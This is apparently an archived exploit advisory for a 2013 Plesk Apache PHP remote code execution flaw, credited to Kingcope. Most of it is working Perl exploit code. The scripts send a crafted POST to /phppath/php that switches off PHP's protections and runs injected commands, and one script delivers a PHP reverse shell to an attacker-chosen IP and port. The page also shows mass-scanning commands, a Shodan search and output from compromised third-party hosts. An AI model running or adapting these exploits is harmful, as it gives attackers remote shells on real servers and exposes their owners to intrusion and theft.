Plesk Apache Zeroday Remote Exploit

2013.06.06
Credit: Kingcope
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Plesk Apache zeroday / June 2013 discovered & exploited by kingcope this Plesk configuration setting makes it possible: scriptAlias /phppath/ "/usr/bin/" Furthermore this is not cve-2012-1823 because the php interpreter is called directly. (no php file is called) Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution Affected and tested: Plesk 9.5.4 Plesk 9.3 Plesk 9.2 Plesk 9.0 Plesk 8.6 Discovered & Exploited by Kingcope / June 2013 Affected and tested OS: RedHat, CentOS, Fedora Affected and tested Platforms: Linux i386, Linux x86_64 Untested OS: Windows (php.exe?) Unaffected: 11.0.9 due to compiled in protection of PHP version Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69% 6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61% 62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65% 3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" Shodanhq overview of Plesk on Linux: http://www.shodanhq.com/search?q=plesklin perl plesk-simple.pl <ip address> ... ... ... OK Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24 19:50:48 MSD 2012 i686 i686 i386 GNU/Linux uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv) --- ./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80 perl plesk-simple.pl 76.12.81.206 HTTP/1.1 200 OK Date: Sat, 16 Mar 2013 13:39:35 GMT Server: Apache/2.2.3 (CentOS) Connection: close Transfer-Encoding: chunked Content-Type: text/html 77 Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E ST 2012 x86_64 x86_64 x86_64 GNU/Linux 3e uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv) 0 perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error) HTTP/1.1 200 OK Date: Tue, 19 Mar 2013 15:29:28 GMT Server: Apache/2.0.54 (Fedora) Connection: close Transfer-Encoding: chunked Content-Type: text/html 3 OK 60 Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux 4c uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv) 0 use IO::Socket; use URI::Escape; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } use IO::Socket::SSL; use URI::Escape; $sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } #CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch ############################################################################################################### plesk-simple-ssl.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket::SSL; use URI::Escape; $sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } #CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch ############################################################################################################### plesk-simple.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket; use URI::Escape; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>'; $arguments = uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn; while(<$sock>) { print; } ################# plesk.pl #plesk remote exploit by kingcope #all your base belongs to me :> use IO::Socket; use IO::Socket::SSL; use URI::Escape; sub usage { print "usage: $0 <target> <http/https> <local_ip> <local_port>\n";exit; } if (!defined($ARGV[3])){usage();} $target=$ARGV[0]; $proto=$ARGV[1]; if ($proto eq "http") { $sock = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => 80, Proto => 'tcp'); }elsif ($proto eq "https") { $sock = IO::Socket::SSL->new( PeerAddr => $ARGV[0], PeerPort => 443, Proto => 'tcp'); }else {usage();} $lip=$ARGV[2]; $lport=$ARGV[3]; $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip = '$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null; \$error_a = null; \$shell = '/bin/sh -i'; \$daemon = 0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid = pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\"); exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) { printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else { printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port, \$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\"); exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 => array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process = proc_open(\$shell, \$descriptorspec, \$pipes);if (!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\"); exit(1);}stream_set_blocking(\$pipes[0], 0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2], 0);stream_set_blocking(\$sock, 0);while (1) { if (feof(\$sock)) { printit(\"done.\"); break;} if (feof(\$pipes[1])) {printit(\"done.\");break;}\$read_a = array(\$sock, \$pipes[1], \$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a, \$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug) printit(\"SOCK READ\");\$input = fread(\$sock, \$chunk_size);if(\$debug) printit(\"SOCK: \$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1], \$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input = fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT: \$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2], \$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input = fread(\$pipes[2], \$chunk_size); if (\$debug) printit(\"STDERR: \$input\");fwrite(\$sock, \$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print \"\$string\n\";}} ?>"; $arguments=uri_escape("-d","\0-\377"). "+" . uri_escape("allow_url_include=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("safe_mode=off","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("suhosin.simulation=on","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("disable_functions=\"\"","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("open_basedir=none","\0-\377"). "+" . uri_escape("-d","\0-\377"). "+" . uri_escape("auto_prepend_file=php://input","\0-\377"). "+" . uri_escape("-n","\0-\377"); $path=uri_escape("phppath","\0-\377"). "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n". "Host: $ARGV[0]\r\n". "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n". "Content-Type: text/plain\r\n". "Content-Length: ". length($pwn) ."\r\n\r\n". $pwn; while(<$sock>){print $_;};


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